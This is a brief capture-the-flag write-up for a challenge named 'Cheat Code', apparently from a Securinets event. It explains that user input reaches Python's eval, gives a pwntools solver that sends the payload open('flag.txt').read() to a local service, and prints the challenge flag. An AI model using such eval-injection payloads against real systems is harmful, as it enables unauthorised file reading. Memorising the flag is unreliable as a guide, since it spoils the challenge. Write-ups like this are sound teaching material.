Cheat Code

Walkthrough

Solution

The developer console passes the submitted expression directly to Python's eval. There is no sandbox or filter, so evaluating open("flag.txt").read() returns the flag immediately.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3

from pwn import *


context.log_level = "error"

p = process(["python3", "-u", "chall.py"]) if args.LOCAL else remote("127.0.0.1", 9041)

p.sendlineafter(b"> ", b'open("flag.txt").read()')
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{ch34t_c0d3_4ct1v4t3d_d3v_c0ns0l3_0p3n}